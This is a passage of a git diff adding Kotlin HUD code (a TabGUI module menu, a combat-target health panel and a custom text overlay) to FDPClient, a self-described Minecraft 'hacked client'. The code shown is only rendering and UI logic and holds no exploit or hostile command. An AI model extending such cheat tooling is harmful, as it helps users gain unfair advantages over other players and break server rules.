net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.FontValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.renderer.GlStateManager +import org.lwjgl.input.Keyboard +import java.awt.Color + +@ElementInfo(name = "TabGUI", blur = true) +class TabGUI(x: Double = 5.0, y: Double = 25.0) : Element(x = x, y = y) { + + private val redValue = IntegerValue("Rectangle Red", 111, 0, 255) + private val greenValue = IntegerValue("Rectangle Green", 111, 0, 255) + private val blueValue = IntegerValue("Rectangle Blue", 255, 0, 255) + private val alphaValue = IntegerValue("Rectangle Alpha", 255, 0, 255) + private val rectangleRainbow = BoolValue("Rectangle Rainbow", false) + private val backgroundRedValue = IntegerValue("Background Red", 0, 0, 255) + private val backgroundGreenValue = IntegerValue("Background Green", 0, 0, 255) + private val backgroundBlueValue = IntegerValue("Background Blue", 0, 0, 255) + private val backgroundAlphaValue = IntegerValue("Background Alpha", 150, 0, 255) + private val borderValue = BoolValue("Border", false) + private val borderStrength = FloatValue("Border Strength", 2F, 1F, 5F) + private val borderRedValue = IntegerValue("Border Red", 0, 0, 255) + private val borderGreenValue = IntegerValue("Border Green", 0, 0, 255) + private val borderBlueValue = IntegerValue("Border Blue", 0, 0, 255) + private val borderAlphaValue = IntegerValue("Border Alpha", 10, 0, 255) + private val borderRainbow = BoolValue("Border Rainbow", false) + private val arrowsValue = BoolValue("Arrows", false) + private val fontValue = FontValue("Font", Fonts.font35) + private val textShadow = BoolValue("TextShadow", true) + private val textFade = BoolValue("TextFade", false) + private val textPositionY = FloatValue("TextPosition-Y", 2F, 0F, 5F) + private val width = FloatValue("Width", 60F, 55F, 100F) + private val tabHeight = FloatValue("TabHeight", 12F, 10F, 15F) + private val upperCaseValue = BoolValue("UpperCase", false) + private val tabs = mutableListOf<Tab>() + + private var categoryMenu = true + private var selectedCategory = 0 + private var selectedModule = 0 + + private var tabY = 0F + private var itemY = 0F + + init { + for (category in ModuleCategory.values()) { + val tab = Tab(category.displayName) + + FDPClient.moduleManager.modules + .filter { module: Module -> category == module.category } + .forEach { e: Module -> tab.modules.add(e) } + + tabs.add(tab) + } + } + + override fun drawElement(partialTicks: Float): Border { + updateAnimation() + + val fontRenderer = fontValue.get() + + // Color + val color = if (!rectangleRainbow.get()) { + Color(redValue.get(), greenValue.get(), blueValue.get(), alphaValue.get()) + } else { + ColorUtils.rainbowWithAlpha(alphaValue.get()) + } + + val backgroundColor = Color(backgroundRedValue.get(), backgroundGreenValue.get(), backgroundBlueValue.get(), + backgroundAlphaValue.get()) + + val borderColor = if (!borderRainbow.get()) { + Color(borderRedValue.get(), borderGreenValue.get(), borderBlueValue.get(), borderAlphaValue.get()) + } else { + ColorUtils.rainbowWithAlpha(borderAlphaValue.get()) + } + + // Draw + val guiHeight = tabs.size * tabHeight.get() + + if (borderValue.get()) { + RenderUtils.drawBorderedRect(1F, 0F, width.get(), guiHeight, borderStrength.get(), borderColor.rgb, backgroundColor.rgb) + } else { + RenderUtils.drawRect(1F, 0F, width.get(), guiHeight, backgroundColor.rgb) + } + // RenderUtils.drawGradientSideways(1.0, (1 + tabY - 1).toDouble(), width.get().toDouble(), (tabY + tabHeight.get()).toDouble(), color.rgb,Color(color.red, color.green,color.blue,50).rgb) + GlStateManager.resetColor() + + shadowRenderUtils.drawShadowWithCustomAlpha(1f, 0f, width.get(), guiHeight, 240f) + + + var y = 1F + tabs.forEachIndexed { index, tab -> + var tabName = tab.tabName + if (upperCaseValue.get()) { + tabName = tabName.uppercase() + } + + val textX = if (side.horizontal == Side.Horizontal.RIGHT) { + width.get() - fontRenderer.getStringWidth(tabName) - tab.textFade - 3 + } else { + tab.textFade + 5 + } + val textY = y + textPositionY.get() + + val textColor = if (selectedCategory == index) 0xffffff else Color(210, 210, 210).rgb + + fontRenderer.drawString(tabName, textX, textY, textColor, textShadow.get()) + + if (arrowsValue.get()) { + if (side.horizontal == Side.Horizontal.RIGHT) { + fontRenderer.drawString(if (!categoryMenu && selectedCategory == index) ">" else "<", 3F, y + 2F, + 0xffffff, textShadow.get()) + } else { + fontRenderer.drawString(if (!categoryMenu && selectedCategory == index) "<" else ">", + width.get() - 8F, y + 2F, 0xffffff, textShadow.get()) + } + } + + if (index == selectedCategory && !categoryMenu) { + val tabX = if (side.horizontal == Side.Horizontal.RIGHT) { + 1F - tab.menuWidth + } else { + width.get() + 5 + } + + tab.drawTab(tabX, y, color.rgb, backgroundColor.rgb, borderColor.rgb, borderStrength.get(), upperCaseValue.get(), fontRenderer) + } + y += tabHeight.get() + } + + return Border(1F, 0F, width.get(), guiHeight) + } + + override fun handleKey(c: Char, keyCode: Int) { + when (keyCode) { + Keyboard.KEY_UP -> parseAction(Action.UP) + Keyboard.KEY_DOWN -> parseAction(Action.DOWN) + Keyboard.KEY_RIGHT -> parseAction(if (side.horizontal == Side.Horizontal.RIGHT) Action.LEFT else Action.RIGHT) + Keyboard.KEY_LEFT -> parseAction(if (side.horizontal == Side.Horizontal.RIGHT) Action.RIGHT else Action.LEFT) + Keyboard.KEY_RETURN -> parseAction(Action.TOGGLE) + } + } + + private fun updateAnimation() { + val delta = RenderUtils.deltaTime + + val xPos = tabHeight.get() * selectedCategory + if (tabY.toInt() != xPos.toInt()) { + if (xPos > tabY) { + tabY += 0.1F * delta + } else { + tabY -= 0.1F * delta + } + } else { + tabY = xPos + } + val xPos2 = tabHeight.get() * selectedModule + + if (itemY.toInt() != xPos2.toInt()) { + if (xPos2 > itemY) { + itemY += 0.1F * delta + } else { + itemY -= 0.1F * delta + } + } else { + itemY = xPos2 + } + + if (categoryMenu) { + itemY = 0F + } + + if (textFade.get()) { + tabs.forEachIndexed { index, tab -> + if (index == selectedCategory) { + if (tab.textFade < 4) { + tab.textFade += 0.05F * delta + } + + if (tab.textFade > 4) { + tab.textFade = 4F + } + } else { + if (tab.textFade > 0) { + tab.textFade -= 0.05F * delta + } + + if (tab.textFade < 0) { + tab.textFade = 0F + } + } + } + } else { + for (tab in tabs) { + if (tab.textFade > 0) { + tab.textFade -= 0.05F * delta + } + + if (tab.textFade < 0) { + tab.textFade = 0F + } + } + } + } + + private fun parseAction(action: Action) { + when (action) { + Action.UP -> if (categoryMenu) { + --selectedCategory + if (selectedCategory < 0) { + selectedCategory = tabs.size - 1 + tabY = tabHeight.get() * selectedCategory.toFloat() + } + } else { + --selectedModule + if (selectedModule < 0) { + selectedModule = tabs[selectedCategory].modules.size - 1 + itemY = tabHeight.get() * selectedModule.toFloat() + } + } + + Action.DOWN -> if (categoryMenu) { + ++selectedCategory + if (selectedCategory > tabs.size - 1) { + selectedCategory = 0 + tabY = tabHeight.get() * selectedCategory.toFloat() + } + } else { + ++selectedModule + if (selectedModule > tabs[selectedCategory].modules.size - 1) { + selectedModule = 0 + itemY = tabHeight.get() * selectedModule.toFloat() + } + } + + Action.LEFT -> if (!categoryMenu) categoryMenu = true + + Action.RIGHT -> if (categoryMenu) { + categoryMenu = false + selectedModule = 0 + } + + Action.TOGGLE -> if (!categoryMenu) { + val sel = selectedModule + tabs[selectedCategory].modules[sel].toggle() + } + } + } + + /** + * TabGUI Tab + */ + private inner class Tab(val tabName: String) { + + val modules = mutableListOf<Module>() + var menuWidth = 0 + var textFade = 0F + + fun drawTab( + x: Float, + y: Float, + color: Int, + backgroundColor: Int, + borderColor: Int, + borderStrength: Float, + upperCase: Boolean, + fontRenderer: FontRenderer + ) { + var maxWidth = 0 + + for (module in modules) + if (fontRenderer.getStringWidth(if (upperCase) module.name.uppercase() else module.name) + 4 > maxWidth) { + maxWidth = (fontRenderer.getStringWidth(if (upperCase) module.name.uppercase() else module.name) + 7F).toInt() + } + + menuWidth = maxWidth + + val menuHeight = modules.size * tabHeight.get() + + if (borderValue.get()) { + RenderUtils.drawBorderedRect(x - 1F, y - 1F, x + menuWidth - 2F, y + menuHeight - 1F, borderStrength, borderColor, backgroundColor) + } else { + RenderUtils.drawRect(x - 1F, y - 1F, x + menuWidth - 2F, y + menuHeight - 1F, backgroundColor) + } + + RenderUtils.drawRect(x - 1.toFloat(), y + itemY - 1, x + menuWidth - 2F, y + itemY + tabHeight.get() - 1, color) + GlStateManager.resetColor() + + modules.forEachIndexed { index, module -> + val moduleColor = if (module.state) 0xffffff else Color(205, 205, 205).rgb + + fontRenderer.drawString(if (upperCase) module.name.uppercase() else module.name, x + 2F, + y + tabHeight.get() * index + textPositionY.get(), moduleColor, textShadow.get()) + } + } + } + + /** + * TabGUI Action + */ + enum class Action { UP, DOWN, LEFT, RIGHT, TOGGLE } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Targets.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Targets.kt new file mode 100644 index 0000000..bfc6465 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Targets.kt @@ -0,0 +1,210 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl.EaseBackIn +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl.* +import net.ccbluex.liquidbounce.utils.render.* +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.minecraft.client.gui.GuiChat +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ElementInfo(name = "Targets", blur = true) +class Targets : Element(-46.0, -40.0, 1F, Side(Side.Horizontal.MIDDLE, Side.Vertical.MIDDLE)){ + private val styleList = mutableListOf<TargetStyle>() + + val styleValue: ListValue + val onlyPlayer = BoolValue("Only player", false) + val showinchat = BoolValue("Show When Chat", true) + val resetBar = BoolValue("ResetBarWhenHiding", false) + + val fadeValue = BoolValue("Fade", false) + val fadeSpeed = FloatValue("Fade-Speed", 1F, 0F, 5F).displayable { fadeValue.get() } + val animation = EaseBackIn(350 * this.fadeSpeed.get().toInt(),1.0,2f) + + val animationValue = BoolValue("Animation", false) + val animationSpeed = FloatValue("Animation Speed", 1F, 0.1F, 2F).displayable { fadeValue.get() || animationValue.get() } + val globalAnimSpeed = FloatValue("Health Speed", 3F, 0.1F, 5F) + + val colorModeValue = ListValue("Color", arrayOf("Health", "Client"), "Client") + + val shadowValue = BoolValue("Shadow", false) + val shadowStrength = FloatValue("Shadow-Strength", 1F, 0.01F, 40F).displayable { shadowValue.get() } + + val bgRedValue = IntegerValue("Background-Red", 0, 0, 255) + val bgGreenValue = IntegerValue("Background-Green", 0, 0, 255) + val bgBlueValue = IntegerValue("Background-Blue", 0, 0, 255) + val bgAlphaValue = IntegerValue("Background-Alpha", 120, 0, 255) + + var target = FDPClient.combatManager.target + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (target!!.maxHealth <= 0 || target!!.maxHealth > 700) { + return + } + } + override val values: List<Value<*>> + get() { + val valueList = mutableListOf<Value<*>>() + styleList.forEach { valueList.addAll(it.values) } + return super.values.toMutableList() + valueList + } + init { + styleValue = ListValue("Style", addStyles( + RavenB4TH(this), + NormalTH(this), + SimpleTH(this), + CrossSineTH(this), + ExhibitionTH(this), + AstolfoTH(this), + FDPTH(this), + VapeTH(this), + FluxTH(this), + LiquidTH(this), + Tenacity5TH(this), + ChillTH(this), + MoonTH(this), + Moon4TH(this), + RemixTH(this), + SlowlyTH(this), + SimplicityTH(this), + J3UltimateTH(this), + ModernTH(this) + ).toTypedArray(), "Simple") + } + var mainTarget: EntityLivingBase? = null + var animProgress = 0F + + var bgColor = Color(-1) + var barColor = Color(-1) + + override fun drawElement(partialTicks: Float): Border? { + val mainStyle = getCurrentStyle(styleValue.get()) ?: return null + val actualTarget = if (FDPClient.combatManager.target != null && (!onlyPlayer.get() || FDPClient.combatManager.target is EntityPlayer)) FDPClient.combatManager.target + else if (FDPClient.combatManager.target != null && (!onlyPlayer.get() || FDPClient.combatManager.target is EntityPlayer)) FDPClient.combatManager.target + else if ((mc.currentScreen is GuiChat && showinchat.get()) || mc.currentScreen is GuiHudDesigner) mc.thePlayer + else null + if (fadeValue.get()) { + animProgress += (0.0075F * animationSpeed.get() * RenderUtils.deltaTime * if (actualTarget != null) -1F else 1F) + } else { + animProgress = 0F + } + animProgress = animProgress.coerceIn(0F, 1F) + + val preBarColor = when (colorModeValue.get()) { + "Health" -> if (actualTarget != null) BlendUtils.getHealthColor( + actualTarget.health, + actualTarget.maxHealth + ) else Color.green + + "Client" -> rainbow() + else -> rainbow() + } + + val preBgColor = Color(bgRedValue.get(), bgGreenValue.get(), bgBlueValue.get(), bgAlphaValue.get()) + + barColor = ColorUtils.reAlpha(preBarColor, preBarColor.alpha / 255F * (1F - animProgress)) + bgColor = ColorUtils.reAlpha(preBgColor, preBgColor.alpha / 255F * (1F - animProgress)) + + if (actualTarget != null || !fadeValue.get()) + mainTarget = actualTarget + else if (animProgress >= 1F) + mainTarget = null + + val returnBorder = mainStyle.getBorder(mainTarget) ?: return null + val borderWidth = returnBorder.x2 - returnBorder.x + val borderHeight = returnBorder.y2 - returnBorder.y + + if (mainTarget == null) { + if (resetBar.get()) + mainStyle.easingHealth = 0F + return returnBorder + } + val convertTarget = mainTarget!! + + val calcScaleX = animProgress * (4F / (borderWidth / 2F)) + val calcScaleY = animProgress * (4F / (borderHeight / 2F)) + val calcTranslateX = borderWidth / 2F * calcScaleX + val calcTranslateY = borderHeight / 2F * calcScaleY + + val idkWidth = returnBorder.x2 + val idkHeight = returnBorder.y2 + + if (shadowValue.get() && mainStyle.shaderSupport) { + val floatX = renderX.toFloat() + val floatY = renderY.toFloat() + + GL11.glTranslated(-renderX, -renderY, 0.0) + GL11.glPushMatrix() + + ShadowUtils.shadow(shadowStrength.get(), { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + if (fadeValue.get()) { + RenderUtils.scaleStart(idkWidth/2, idkHeight/2,animation.output.toFloat()) + } + mainStyle.handleShadow(convertTarget) + GL11.glPopMatrix() + }, { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + if (fadeValue.get()) { + RenderUtils.scaleStart(idkWidth/2, idkHeight/2,animation.output.toFloat()) + } + mainStyle.handleShadowCut(convertTarget) + GL11.glPopMatrix() + }) + + GL11.glPopMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + } + val floatX = renderX.toFloat() + val floatY = renderY.toFloat() + blur((returnBorder.x).toFloat(), + (returnBorder.y).toFloat(), (returnBorder.x2).toFloat(), (returnBorder.y2).toFloat() + ) + + if (fadeValue.get()) { + RenderUtils.scaleStart(idkWidth/2, idkHeight/2,animation.output.toFloat()) + } + + if (mainStyle is ChillTH) + mainStyle.updateData(renderX.toFloat() + calcTranslateX, renderY.toFloat() + calcTranslateY, calcScaleX, calcScaleY) + mainStyle.drawTarget(convertTarget) + + GlStateManager.resetColor() + return returnBorder + } + + fun getFadeProgress() = animProgress + + @SafeVarargs + fun addStyles(vararg styles: TargetStyle): List<String> { + val nameList = mutableListOf<String>() + styles.forEach { + styleList.add(it) + nameList.add(it.name) + } + return nameList + } + + private fun getCurrentStyle(styleName: String): TargetStyle? = styleList.find { it.name.equals(styleName, true) } + override fun drawBoarderBlur(blurRadius: Float) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Text.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Text.kt new file mode 100644 index 0000000..dfa48a6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Text.kt @@ -0,0 +1,302 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import cc.paimonmc.viamcp.ViaMCP +import cc.paimonmc.viamcp.protocols.ProtocolCollection +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.extensions.ping +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.ShadowUtils +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.client.Minecraft +import net.minecraft.util.ChatAllowedCharacters +import org.lwjgl.input.Keyboard +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.text.DecimalFormat +import java.text.SimpleDateFormat +import kotlin.math.sqrt + +/** + * CustomHUD text element + * + * Allows to draw custom text + */ +@ElementInfo(name = "Text", blur = true) +class Text( + x: Double = 10.0, + y: Double = 10.0, + scale: Float = 1F, + side: Side = Side.default() +) : Element(x, y, scale, side) { + + companion object { + val DATE_FORMAT = SimpleDateFormat("yyyy-MM-dd") + val HOUR_FORMAT = SimpleDateFormat("HH:mm") + + val DECIMAL_FORMAT = DecimalFormat("#.##") + val NO_DECIMAL_FORMAT = DecimalFormat("#") + } + + val displayString = TextValue("DisplayText", "") + val shadowValue = BoolValue("Shadow", false) + val shadowStrength = FloatValue("Shadow-Strength", 1F, 0.01F, 8F).displayable { shadowValue.get() } + private val redValue = IntegerValue("Red", 255, 0, 255) + private val greenValue = IntegerValue("Green", 255, 0, 255) + private val blueValue = IntegerValue("Blue", 255, 0, 255) + private val alphaValue = IntegerValue("Alpha", 255, 0, 255) + val colorModeValue = ListValue("Color", arrayOf("Custom", "Rainbow", "AnotherRainbow", "SkyRainbow"), "Custom") + private val shadow = BoolValue("Shadow", false) + val rectValue = ListValue("Rect", arrayOf("Normal", "RNormal", "OneTap", "Skeet", "Rounded", "None"), "None") + val rectColorModeValue = ListValue("RectColor", arrayOf("Custom", "Rainbow", "AnotherRainbow", "SkyRainbow"), "Custom") + private val rectRedValue = IntegerValue("RectRed", 0, 0, 255) + private val rectGreenValue = IntegerValue("RectGreen", 0, 0, 255) + private val rectBlueValue = IntegerValue("RectBlue", 0, 0, 255) + private val rectAlphaValue = IntegerValue("RectAlpha", 255, 0, 255) + private val rectExpandValue = FloatValue("RectExpand", 0.3F, 0F, 1F) + private val rectRoundValue = FloatValue("RectRoundingMultiplier", 1.5F, 0.1F, 4F) + private val rainbowSpeed = IntegerValue("RainbowSpeed", 10, 1, 10) + private val rainbowIndex = IntegerValue("RainbowIndex", 1, 1, 20) + private val fontValue = FontValue("Font", Fonts.font40) + + private var editMode = false + private var editTicks = 0 + private var prevClick = 0L + + private var displayText = display + + private val display: String + get() { + val textContent = if (displayString.get().isEmpty() && !editMode) { + "Click To Add Text" + } else { + displayString.get() + } + + return multiReplace(textContent) + } + + private fun getReplacement(str: String): String? { + if (mc.thePlayer != null) { + when (str) { + "x" -> return DECIMAL_FORMAT.format(mc.thePlayer.posX) + "y" -> return DECIMAL_FORMAT.format(mc.thePlayer.posY) + "z" -> return DECIMAL_FORMAT.format(mc.thePlayer.posZ) + "xpos" -> return NO_DECIMAL_FORMAT.format(mc.thePlayer.posX) + "ypos" -> return NO_DECIMAL_FORMAT.format(mc.thePlayer.posY) + "zpos" -> return NO_DECIMAL_FORMAT.format(mc.thePlayer.posZ) + "xdp" -> return mc.thePlayer.posX.toString() + "ydp" -> return mc.thePlayer.posY.toString() + "zdp" -> return mc.thePlayer.posZ.toString() + "velocity" -> return DECIMAL_FORMAT.format(sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ)) + "ping" -> return "${mc.thePlayer.ping}" + "speed" -> return DECIMAL_FORMAT.format(MovementUtils.bps) + "bps" -> return DECIMAL_FORMAT.format(MovementUtils.bps) + "health" -> return DECIMAL_FORMAT.format(mc.thePlayer.health) + "yaw" -> return DECIMAL_FORMAT.format(mc.thePlayer.rotationYaw) + "pitch" -> return DECIMAL_FORMAT.format(mc.thePlayer.rotationPitch) + "attackDist" -> return if (FDPClient.combatManager.target != null) mc.thePlayer.getDistanceToEntity(FDPClient.combatManager.target).toString() + " Blocks" else "Hasn't attacked" + } + } + + return when (str) { + "playtime" -> { + if (mc.isSingleplayer) { + "Singleplayer" + } else { + SessionUtils.getFormatSessionTime() + } + } + "kills" -> StatisticsUtils.getKills().toString() + "deaths" -> StatisticsUtils.getDeaths().toString() + "username" -> mc.getSession().username + "clientName" -> FDPClient.CLIENT_NAME + "clientVersion" -> FDPClient.CLIENT_VERSION + "clientCreator" -> FDPClient.CLIENT_CREATOR + "fps" -> Minecraft.getDebugFPS().toString() + "date" -> DATE_FORMAT.format(System.currentTimeMillis()) + "time" -> HOUR_FORMAT.format(System.currentTimeMillis()) + "serverIp" -> ServerUtils.getRemoteIp() + "cps", "lcps" -> return CPSCounter.getCPS(CPSCounter.MouseButton.LEFT).toString() + "mcps" -> return CPSCounter.getCPS(CPSCounter.MouseButton.MIDDLE).toString() + "rcps" -> return CPSCounter.getCPS(CPSCounter.MouseButton.RIGHT).toString() + "portalVersion" -> ProtocolCollection.getProtocolById(ViaMCP.getInstance().version).getName() + else -> null // Null = don't replace + } + } + + private fun multiReplace(str: String): String { + var lastPercent = -1 + val result = StringBuilder() + for (i in str.indices) { + if (str[i] == '%') { + if (lastPercent != -1) { + if (lastPercent + 1 != i) { + val replacement = getReplacement(str.substring(lastPercent + 1, i)) + + if (replacement != null) { + result.append(replacement) + lastPercent = -1 + continue + } + } + result.append(str, lastPercent, i) + } + lastPercent = i + } else if (lastPercent == -1) { + result.append(str[i]) + } + } + + if (lastPercent != -1) { + result.append(str, lastPercent, str.length) + } + + return result.toString() + } + fun getClientName(i: Int,i2: Int): String{ + return "FDPClient".substring(i,i2); + } + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border { + val color = Color(redValue.get(), greenValue.get(), blueValue.get(), alphaValue.get()) + val colorNoAlpha = Color(redValue.get(), greenValue.get(), blueValue.get()) + + val fontRenderer = fontValue.get() + + + val rectColor = when (rectColorModeValue.get().lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(rainbowIndex.get(), indexOffset = 100 * rainbowSpeed.get()).rgb + "skyrainbow" -> ColorUtils.skyRainbow(rainbowIndex.get(), 1F, 1F, rainbowSpeed.get().toDouble()).rgb + "anotherrainbow" -> ColorUtils.fade(Color(rectRedValue.get(), rectGreenValue.get(), rectBlueValue.get(), rectAlphaValue.get()), 100, rainbowIndex.get()).rgb + else -> Color(rectRedValue.get(), rectGreenValue.get(), rectBlueValue.get(), rectAlphaValue.get()).rgb + } + val expand = fontRenderer.FONT_HEIGHT * rectExpandValue.get() + when (rectValue.get().lowercase()) { + "normal" -> { + RenderUtils.drawRect(-expand, -expand, fontRenderer.getStringWidth(displayText) + expand, fontRenderer.FONT_HEIGHT + expand, rectColor) + } + + "rounded" -> { + RenderUtils.drawRoundedCornerRect(-expand, -expand, fontRenderer.getStringWidth(displayText) + expand, fontRenderer.FONT_HEIGHT + expand, 2 + (expand / 4) * rectRoundValue.get(), rectColor) + } + + "rnormal" -> { + RenderUtils.drawRect(-expand, -expand - 1, fontRenderer.getStringWidth(displayText) + expand, -expand, ColorUtils.rainbow()) + RenderUtils.drawRect(-expand, -expand, fontRenderer.getStringWidth(displayText) + expand, fontRenderer.FONT_HEIGHT + expand, rectColor) + } + "onetap" -> { + RenderUtils.drawRect(-4.0f, -8.0f, (fontRenderer.getStringWidth(displayText) + 3).toFloat(), fontRenderer.FONT_HEIGHT.toFloat(), Color(43, 43, 43).rgb) + RenderUtils.drawGradientSidewaysH(-3.0, -7.0, fontRenderer.getStringWidth(displayText) + 2.0, -3.0, Color(rectColor).darker().rgb, rectColor) + } + "skeet" -> { + RenderUtils.drawRect(-11.0, -11.0, (fontRenderer.getStringWidth(displayText) + 10).toDouble(), fontRenderer.FONT_HEIGHT.toDouble() + 8.0, Color(0, 0, 0).rgb) + RenderUtils.drawOutLineRect(-10.0, -10.0, (fontRenderer.getStringWidth(displayText) + 9).toDouble(), fontRenderer.FONT_HEIGHT.toDouble() + 7.0, 8.0, Color(59, 59, 59).rgb, Color(59, 59, 59).rgb) + RenderUtils.drawOutLineRect(-9.0, -9.0, (fontRenderer.getStringWidth(displayText) + 8).toDouble(), fontRenderer.FONT_HEIGHT.toDouble() + 6.0, 4.0, Color(59, 59, 59).rgb, Color(40, 40, 40).rgb) + RenderUtils.drawOutLineRect(-4.0, -4.0, (fontRenderer.getStringWidth(displayText) + 3).toDouble(), fontRenderer.FONT_HEIGHT.toDouble() + 1.0, 1.0, Color(18, 18, 18).rgb, Color(0, 0, 0).rgb) + } + } + if (shadowValue.get()) { + GL11.glTranslated(-renderX, -renderY, 0.0) + GL11.glPushMatrix() + ShadowUtils.shadow(shadowStrength.get(), { + GL11.glPushMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + fontRenderer.drawString( + displayText, 0F*scale, 0F*scale, when (colorModeValue.get().lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(rainbowIndex.get(), indexOffset = 100 * rainbowSpeed.get()).rgb + "skyrainbow" -> ColorUtils.skyRainbow(rainbowIndex.get(), 1F, 1F, rainbowSpeed.get().toDouble()).rgb + "anotherrainbow" -> ColorUtils.fade(color, 100, rainbowIndex.get()).rgb + else -> colorNoAlpha.rgb + }, false) + GL11.glPopMatrix() + }, {}) + GL11.glPopMatrix() + GL11.glTranslated(renderX, renderY, 0.0) + } + fontRenderer.drawString( + displayText, 0F, 0F, when (colorModeValue.get().lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(rainbowIndex.get(), indexOffset = 100 * rainbowSpeed.get()).rgb + "skyrainbow" -> ColorUtils.skyRainbow(rainbowIndex.get(), 1F, 1F, rainbowSpeed.get().toDouble()).rgb + "anotherrainbow" -> ColorUtils.fade(color, 100, rainbowIndex.get()).rgb + else -> color.rgb + }, shadow.get()) + + + if (editMode && mc.currentScreen is GuiHudDesigner && editTicks <= 40) { + fontRenderer.drawString("_", fontRenderer.getStringWidth(displayText) + 2F, + 0F, Color.WHITE.rgb, shadow.get()) + } + + if (editMode && mc.currentScreen !is GuiHudDesigner) { + editMode = false + updateElement() + } + + return Border( + -2F, + -2F, + fontRenderer.getStringWidth(displayText) + 2F, + fontRenderer.FONT_HEIGHT.toFloat() + ) + } + + override fun updateElement() { + editTicks += 5 + if (editTicks > 80) editTicks = 0 + + displayText = if (editMode) displayString.get() else display + } + + override fun handleMouseClick(x: Double, y: Double, mouseButton: Int) { + if (isInBorder(x, y) && mouseButton == 0) { + if (System.currentTimeMillis() - prevClick <= 250L) { + editMode = true + } + + prevClick = System.currentTimeMillis() + } else { + editMode = false + } + } + + override fun handleKey(c: Char, keyCode: Int) { + if (editMode && mc.currentScreen is GuiHudDesigner) { + if (keyCode == Keyboard.KEY_BACK) { + if (displayString.get().isNotEmpty()) { + displayString.set(displayString.get().substring(0, displayString.get().length - 1)) + } + + updateElement() + return + } + + if (ChatAllowedCharacters.isAllowedCharacter(c) || c == '§') { + displayString.set(displayString.get() + c) + } + + updateElement() + } + } + + fun setColor(c: Color): Text { + redValue.set(c.red) + greenValue.set(c.green) + blueValue.set(c.blue) + return this + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/TargetStyle.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/TargetStyle.kt new file mode 100644 index 0000000..e10faa3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/TargetStyle.kt @@ -0,0 +1,103 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets + +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.Gui +import 